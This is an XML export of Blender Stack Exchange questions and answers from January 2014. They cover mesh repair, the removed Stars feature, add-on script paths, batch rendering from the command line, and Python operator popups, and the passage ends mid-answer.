  <row Id="6494" PostTypeId="1" AcceptedAnswerId="6780" CreationDate="2014-01-24T08:31:33.550" Score="6" ViewCount="10198" Body="&lt;p&gt;Noob here. I am trying to get Blender 2.6 to communicate to an Arduino Mega board via USB serial comms. I cannot find a nice summary of how to write Python script to get Blender to send serial data to the Arduino. I found this guys project: &lt;a href=&quot;http://justindailey.blogspot.com/2011/03/real-time-controlled-robotic-arm.html&quot;&gt;http://justindailey.blogspot.com/2011/03/real-time-controlled-robotic-arm.html&lt;/a&gt;  -&gt; which is similar to what I want to do, but there are no details on how to establish serial communications to a specified USB port.Plus I am using Blender 2.6. &#xA;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2016-02-29T08:52:03.977" Title="How to move an Arduino's servo motors using Blender?" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6495" PostTypeId="1" CreationDate="2014-01-24T08:59:18.033" Score="4" ViewCount="645" Body="&lt;p&gt;I realized, for the first time, I now have the skill to visualize and manifest a 3D object of some complexity!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see this rocket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uf34D.png&quot; alt=&quot;image of rocket with messed up vertices&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks pretty cool.  But, nobody would put this thing on the launchpad with an screw-up like this on it.&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;This thing started life as a cylinder, but and was then highly processed.  But, I don't know an efficient or elegant way of healing this.  I &lt;em&gt;could&lt;/em&gt; do it manually - vertex by vertex - but there must be a better way!&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Thanks for any help in advance....&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="599" LastEditDate="2014-01-25T03:12:42.343" LastActivityDate="2014-01-25T03:12:42.343" Title="How to repair cylinder mesh with misplaced vertices?" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6496" PostTypeId="2" ParentId="6495" CreationDate="2014-01-24T09:09:42.657" Score="6" Body="&lt;p&gt;If your rocket is symmetrical you could delete the upper half of the vertices, add a mirror modifier and apply (for an easier selection, I would isolate the tip).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fG4Is.jpg&quot; alt=&quot;mirror modifier&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You are right, Gunslinger, here is a picture:&lt;/p&gt;&#xA;" OwnerUserId="1229" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-24T12:34:13.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6497" PostTypeId="2" ParentId="6494" CreationDate="2014-01-24T09:13:18.187" Score="6" Body="&lt;p&gt;Try looking at &lt;a href=&quot;http://www.youtube.com/watch?v=a9FNTnfdifQ&quot;&gt;this&lt;/a&gt; video.  The gentlemen explains, step by step how to control an sevo with python and arduino I &lt;em&gt;think&lt;/em&gt; this is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This isn't actually a blender specific question&lt;/em&gt;, if blender uses fully featured python!  The difference between this and &quot;regular&quot; python, (if I'm not mistaken) is that python &quot;here&quot; knows how to talk to blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to move this to &lt;a href=&quot;http://www.stackoverflow.com&quot;&gt;Stack Overflow&lt;/a&gt;, there are a likely a lot more users with these kind of skills there - it's part of the same network of question and answer sites as this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, once you get this working, you will have to be clever enough to make the python algorithm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A.) Get the information from blender&lt;br&gt;&#xA;B.) Figure out what it means for the servo&lt;br&gt;&#xA;C.) Optionally but preferably, do this at an appropriate time!  (ie, whenever a relevant part is moved)&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always Remember: &lt;strong&gt;&lt;em&gt;In Engineering, it is important to break problems into their component parts.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were me, I would follow the video by itself first - that way, you can &lt;strong&gt;actually move the servo,&lt;/strong&gt; blender or not.  Then make sure a python script that can talk to blender will do this.... it doesn't matter if you have to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Console_window&quot;&gt;run the script by hand&lt;/a&gt;, at least it will work!&#xA;&lt;br&gt;&lt;br&gt;&#xA;Then once you can make blender move the arm, - &lt;em&gt;even if it doesn't care what is on your screen in blender! -&lt;/em&gt; do step &quot;A&quot;.  Now you're cooking!  Figure out what the screen means for the server, and make it happen!&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Finally, once you can make everything, see if you can work on &quot;C&quot;!  This is the cool part.  Remember everything that look &quot;cool&quot; has had a &lt;strong&gt;&lt;em&gt;lot&lt;/em&gt;&lt;/strong&gt; of backround effort put into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspiring Question! Good luck!&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2226" LastEditDate="2014-01-24T09:25:29.037" LastActivityDate="2014-01-24T09:25:29.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6499" PostTypeId="2" ParentId="6493" CreationDate="2014-01-24T10:53:08.123" Score="6" Body="&lt;p&gt;In the texture panel for the lamp, go to «Mapping», and change the coordinates from «Global», which seems to be the setting in your case, to «View». This should fix your problem. Works for both procedural and image textures.&lt;/p&gt;&#xA;" OwnerUserId="1374" LastActivityDate="2014-01-24T10:53:08.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6500" PostTypeId="1" AcceptedAnswerId="6502" CreationDate="2014-01-24T12:40:47.313" Score="6" ViewCount="6161" Body="&lt;p&gt;In the Properties -- World tab, I am no longer seeing the &quot;Stars&quot; option. Has it been removed or did I accidentally do something silly that caused it to be deleted or completely hidden? It is completely absent not just closed, and I have tried with several different files and a new restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running on Manjaro Linux and the blender version currently installed is 10:2.69.a0dbee6e. I'm not sure of the change occurred at the last upgrade or since then.&lt;/p&gt;&#xA;" OwnerUserId="2242" LastEditorUserId="55" LastEditDate="2015-12-08T02:13:36.780" LastActivityDate="2015-12-08T02:13:36.780" Title="Stars feature missing?" Tags="&lt;interface&gt;&lt;world&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6501" PostTypeId="2" ParentId="6500" CreationDate="2014-01-24T12:54:17.950" Score="2" Body="&lt;p&gt;The &lt;code&gt;starfield generation&lt;/code&gt; feature is only accessible when you use the &lt;strong&gt;Blender Internal&lt;/strong&gt; render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;strong&gt;Cycles&lt;/strong&gt; render engine, it's unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the render engine is set to &lt;code&gt;Blender Internal&lt;/code&gt;, and go to &lt;code&gt;World&lt;/code&gt; panel.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-01-24T12:54:17.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6502" PostTypeId="2" ParentId="6500" CreationDate="2014-01-24T13:02:34.677" Score="9" Body="&lt;p&gt;&lt;strong&gt;Stars&lt;/strong&gt; feature has been dropped from &lt;strong&gt;Blender Internal&lt;/strong&gt; render engine. See &lt;strong&gt;&lt;a href=&quot;https://developer.blender.org/D17&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;. However, the official release 2.69 still has it. You can either choose that version, or find another way to get the same result.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-12-08T02:08:53.093" LastActivityDate="2015-12-08T02:08:53.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6503" PostTypeId="1" CreationDate="2014-01-24T15:45:14.733" Score="0" ViewCount="64" Body="&lt;p&gt;I was modeling something when suddenly I was unable to pan around using shift + middle mouse.  I tried changing the controls in user preferences, closing and reopening the program, and everything else I could think of, all to no avail.  I'm working with 2.69.  Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  Still not sure what happened, but I copied everything in the file into a new one and now it's working.&lt;/p&gt;&#xA;" OwnerUserId="2245" LastEditorUserId="2245" LastEditDate="2014-01-24T16:23:04.217" LastActivityDate="2014-01-24T16:23:04.217" Title="Having trouble with panning in 3D view" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2014-01-25T06:56:40.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="6504" PostTypeId="2" ParentId="6495" CreationDate="2014-01-24T15:54:36.950" Score="3" Body="&lt;p&gt;You could also select the vertices and remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the loop &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cZbS2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Space&lt;/kbd&gt; for search enter gridfill&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;em&gt;Knife-Tool&lt;/em&gt; &lt;kbd&gt;K&lt;/kbd&gt; to add edges.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6fNE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Last step would be to align the edges circular, &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;W&lt;/kbd&gt; shows the &lt;em&gt;Specials Menu&lt;/em&gt; select LoopTools / Circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you would need to enable the &lt;em&gt;Loop Tools&lt;/em&gt; in the &lt;em&gt;User Preferences&lt;/em&gt; addon section first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yj4fu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repaired result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9PUHX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-24T15:54:36.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6505" PostTypeId="1" AcceptedAnswerId="6506" CreationDate="2014-01-24T16:14:20.217" Score="4" ViewCount="364" Body="&lt;p&gt;I want to change the default parameter from '0.010' to '0.0001' of the select similar by area box. The parameter can be found here:&lt;br&gt;&#xA;&lt;em&gt;Edit&lt;/em&gt; &gt; &lt;em&gt;Face Select&lt;/em&gt; &gt; &lt;em&gt;Select Similar&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;) &gt; &lt;em&gt;Area&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9LnhN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="241" LastEditDate="2016-04-21T23:01:12.173" LastActivityDate="2016-04-21T23:01:12.173" Title="Change default parameters" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6506" PostTypeId="2" ParentId="6505" CreationDate="2014-01-24T17:29:52.630" Score="6" Body="&lt;p&gt;The values are stored in the &lt;em&gt;Startup-File&lt;/em&gt; if you change them after launching Blender you can set the values and save the default-scene as &lt;em&gt;Startup File&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also restore the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences&quot;&gt;&lt;em&gt;Factory Settings&lt;/em&gt;&lt;/a&gt; from the Menu: &lt;em&gt;File / Load Factory Settings&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-24T17:29:52.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6507" PostTypeId="2" ParentId="6486" CreationDate="2014-01-24T17:34:06.350" Score="5" Body="&lt;p&gt;There are generally three possibilities to cause such problem in this particular case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The resolution of the curve path, which is the least possible factor here;&lt;/li&gt;&#xA;&lt;li&gt;It seems that you are using Dupliface, it will also be curved by the Curve modifier see &lt;em&gt;Figure 1&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;The edge of per panel should better coincide with the joint, in order to minimize the disjoint look. See Figure 2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAlPu.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zJe4Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the most accurate way is to use rigid body constraints, but that would be way too complicated comparing to this way. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-24T18:37:22.570" LastActivityDate="2014-01-24T18:37:22.570" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6508" PostTypeId="2" ParentId="6495" CreationDate="2014-01-24T18:28:22.807" Score="2" Body="&lt;p&gt;Another option is to delete the messed up face loops and then regenerate them.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the broken edge rings with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hOavS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete them with &lt;kbd&gt;Delete&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt;&lt;em&gt;&amp;gt; Vertices&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pFNDR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges around the gaps (again with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;) and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Bridge Edge Loops&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksDnd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tweak the settings in the &lt;em&gt;Redo menu&lt;/em&gt; as desired:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/47bQF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 3-4 for any other gaps.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-24T18:28:22.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6509" PostTypeId="1" AcceptedAnswerId="6511" CreationDate="2014-01-24T22:27:43.450" Score="0" ViewCount="456" Body="&lt;p&gt;I am developing software on OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One component requires blender, and it requires a custom plug-in which I have had to write, and which I have to continually modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's a very bad workflow if I am modifying in-place, because it is outside of the project tree. So when I back up my project I'm not backing up the blender plug-in, as it is in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/blender.app/Contents/MacOS/2.69/scripts/addons/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I try to do is create a symbolic link: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /path/to/myproj/blenderplugin \&#xA;        /Applications/blender.app/Contents/MacOS/2.69/scripts/addons/pi_project&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then blender can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this qualify as a bug?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-01-25T00:18:19.243" Title="Symlink-ing into addons folder" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6510" PostTypeId="2" ParentId="6469" CreationDate="2014-01-25T00:11:22.870" Score="4" Body="&lt;p&gt;You change the frame number twice in your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_current = NUMBER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Scene.html?highlight=frame_set#bpy.types.Scene.frame_current&quot; rel=&quot;nofollow&quot;&gt;frame_current property &lt;/a&gt; should be used for reading the current frame number only, or some special cases in which you don't want to fully update the scene to this frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Scene.html?highlight=frame_set#bpy.types.Scene.frame_set&quot; rel=&quot;nofollow&quot;&gt;method frame_set(...)&lt;/a&gt; instead. It forces an immediate update of all objects in the scene, including animations (transformation matrices etc. will be calculated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripts run from the Text Editor or as addons behave slightly different compared to the Python Console. There are implicit updates when using the PyConsole, which may give the impression of a function causing an update itself. But once you try it in the Text Editor or as addon, you'll experience behavior like you described (basically missing instant updates during an operation, 'cause it's not done automatically).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: although Python supports &lt;code&gt;;&lt;/code&gt; as punctuator, it is no good style.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-25T00:11:22.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6511" PostTypeId="2" ParentId="6509" CreationDate="2014-01-25T00:18:19.243" Score="3" Body="&lt;p&gt;Rather than using a symlink you can just point to a /scripts/ directory in &lt;strong&gt;User Preferences &gt; File&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u0LMK.png&quot; alt=&quot;File path to alternate scripts directory&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting the path be sure to &lt;strong&gt;Save User Settings&lt;/strong&gt;. Doing this will let you place your scripts in the folder designated, and leave the default folder alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your folder structure should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scripts/&#xA;  addons/&#xA;  addons_contrib/&#xA;  startup/&#xA;  presets/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not all sub-directories are required, but you should have at least /scripts/addons/&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2014-01-25T00:18:19.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6512" PostTypeId="1" AcceptedAnswerId="6516" CreationDate="2014-01-25T00:33:31.923" Score="4" ViewCount="3838" Body="&lt;p&gt;I just can't figure out how to create a custom popup which can receive data etc. What I want to do is let the user select one of the currently selected UV-layers and just hand that back to me. So I created a class like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class UVLayerPrompt(Operator):&#xA;    &quot;&quot;&quot;&#xA;    Prompts the user for the uv-layer he wishes to select for each object&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = &quot;mhmu.uvprompt&quot;&#xA;    bl_label = &quot;Choose the uv-layer&quot;&#xA;&#xA;    uv_layerPos = 0&#xA;    def execute(self, context):&#xA;        print('HI')&#xA;    def invoke(self, context, event):&#xA;        self.layout.template_list(&quot;UI_UL_list&quot;, #is this correct? I guess not...&#xA;            list_id=&quot;UVLayer_LIST&quot;, # I guess yes&#xA;            dataptr=context.object.data, # my guess: yes&#xA;            propname=&quot;uv_textures&quot;, # yes?&#xA;            active_dataptr=context.scene, # I could use some other location, okay&#xA;            active_propname=&quot;uv_layerPos&quot;) # I have to assign a IntegerProperty to this, right?&#xA;        return {'RUNNING_MODAL'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after I registered my class etc. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;when I call &lt;code&gt;window_manager.invoke_popup(UVLayerPrompt)&lt;/code&gt; then it says:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;TypeError: WindowManager.invoke_popup(): error with argument 1, &quot;operator&quot; -  &gt;Function.operator expected a Operator type, not OrderedMeta&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I realized that this is not correct. Still I don't know how to react with the context (how do I popup a new instance? with python code ofc?, how do I read the chosen value from that?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I will try to clarify my question: I have an export script that may export several objects. For each of these objects I want to ask the user in a responsive way which uv-texture he wants to be exported. Only one layer per object should be possible and of course I have to call the popup within my script (NOT by the user) and after it run I have to know the result of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How far have I gotten with this by now? Using the answer below me I realized that I should use a script that is 'INTERNAL'. Secondly I think I now finally understand how Operators are supposed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out how to do it: if you want to call a script from inside a script you have to call &lt;code&gt;bpy.ops.operator.name('INVOKE_DEFAULT')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="1363" LastEditDate="2014-01-26T00:38:31.103" LastActivityDate="2016-01-13T18:27:52.140" Title="How to call invoke_popup?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6513" PostTypeId="1" AcceptedAnswerId="6514" CreationDate="2014-01-25T01:15:00.693" Score="0" ViewCount="560" Body="&lt;p&gt;On Windows 7 I am rendering a series of animations from Blender in a batch script that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call &quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot; -b &quot;E:\Project.blend&quot; -S Scene1 -o &quot;E:\exports\Fredericksburg1\Fredericksburg1_&quot; -F JPEG -s 001 -e 435 -a&#xA;call &quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot; -b &quot;E:\Project.blend&quot; -S Scene2 -o &quot;E:\exports\Fredericksburg2\Fredericksburg2_&quot; -F JPEG -s 001 -e 480 -a&#xA;call &quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot; -b &quot;E:\Project.blend&quot; -S Scene3 -o &quot;E:\exports\Fredericksburg3\Fredericksburg3_&quot; -F JPEG -s 001 -e 180 -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that after rendering one or two files, the rest of the Blender instances crash immediately after reading the preferences. The crash file just has this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender 2.69 (sub 0), Revision: 60995&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is not related to which project I use, usually only the first one or two render. &#xA;I have tried a few things, making sure the computer didn't go to sleep or even the screen go blank, play around with the &lt;code&gt;.bat&lt;/code&gt; file, but I haven't been able to get anything to consistently work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2179" LastEditorUserId="599" LastEditDate="2014-01-25T02:22:44.303" LastActivityDate="2014-05-07T11:42:09.640" Title="Blender Crashes after a few Renders from a Batch Script" Tags="&lt;rendering&gt;&lt;command-line&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6514" PostTypeId="2" ParentId="6513" CreationDate="2014-01-25T02:03:36.873" Score="2" Body="&lt;p&gt;You could change from a batch script to a python script. You can call the python script on startup by adding a parameter to the call like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call &quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot; -b &quot;E:\Project.blend&quot; -P pythonScript.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the python script would look somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pythonScript.py:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;renderInformation = {&#xA;    'Scene1': (r'E:\exports\Fredericksburg1\Fredericksburg1_', [1, 435], 'JPEG'),&#xA;    'Scene2': (r'E:\exports\Fredericksburg2\Fredericksburg2_', [1, 480], 'JPEG'),&#xA;    'Scene3': (r'E:\exports\Fredericksburg3\Fredericksburg3_', [1, 180], 'JPEG'),}&#xA;# you can use any slash and just copy-paste the path from the explorer&#xA;# as long as it doesn't end with a &quot;\'&quot;&#xA;&#xA;@persistant&#xA;def callbackFunc(context=None):&#xA;    try:&#xA;        sceneIdent, info = renderInformation.popitem() # get the next scene to render&#xA;        scene = bpy.data.scenes[sceneIdent] # get the actual scene&#xA;        bpy.context.screen.scene = scene # set the scene&#xA;        (scene.render.filepath,&#xA;         (scene.frame_start, scene.frame_end),&#xA;         scene.render.image_settings.file_format) = info # extract information&#xA;        bpy.ops.render.render(animation=True) # render as animation&#xA;    except:&#xA;        pass # then the list is exhausted and we can end the process&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    if callbackFunc not in bpy.app.handlers.render_complete:&#xA;        bpy.app.handlers.render_complete.append(callbackFunc) # we register a callback after each render&#xA;    callbackFunc() # and call it ourselves at first&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just keeps blender down to one instance and might be worth considering anyways if you want to get deeper into the action, with more scenes to render etc. A batch script for that seems quite irrational, idk :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this fixes the problem for you, if not, then you might consider taking a look at your CPU-loading, maybe your scenes are just too big :? I don't think so since two render good but you never know. Tell me if there is anything you're interested about or if the proposed &quot;solution&quot; doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-05-07T11:42:09.640" LastActivityDate="2014-05-07T11:42:09.640" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6516" PostTypeId="2" ParentId="6512" CreationDate="2014-01-25T03:08:50.397" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bpy.types.WindowManager.html#bpy.types.WindowManager.invoke_props_dialog&quot; rel=&quot;noreferrer&quot;&gt;invoke_props_dialog(...)&lt;/a&gt; seems more appropriate here. It opens a popup with an OK button, and the operator's &lt;code&gt;execute()&lt;/code&gt; method will only be called if the user clicks this button. (The other popup types execute on every property change.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dynamic &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bpy.props.html#bpy.props.EnumProperty&quot; rel=&quot;noreferrer&quot;&gt;EnumProperty&lt;/a&gt; is populated automatically with all UV textures of the current object (see &lt;code&gt;uvtex_items&lt;/code&gt; callback). It is added to the dialog as expanded &lt;code&gt;prop(...)&lt;/code&gt;, remove &lt;code&gt;expand=True&lt;/code&gt; if you want a dropdown list instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;invoke_*&lt;/code&gt; require an operator &lt;em&gt;instance&lt;/em&gt; (object), &lt;strong&gt;not&lt;/strong&gt; an operator &lt;em&gt;class&lt;/em&gt; (type). You usually pass &lt;code&gt;self&lt;/code&gt;, which is a reference to the operator instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def uvtex_items(self, context):&#xA;    return [(t.name, t.name, t.name) for t in context.object.data.uv_textures]&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = 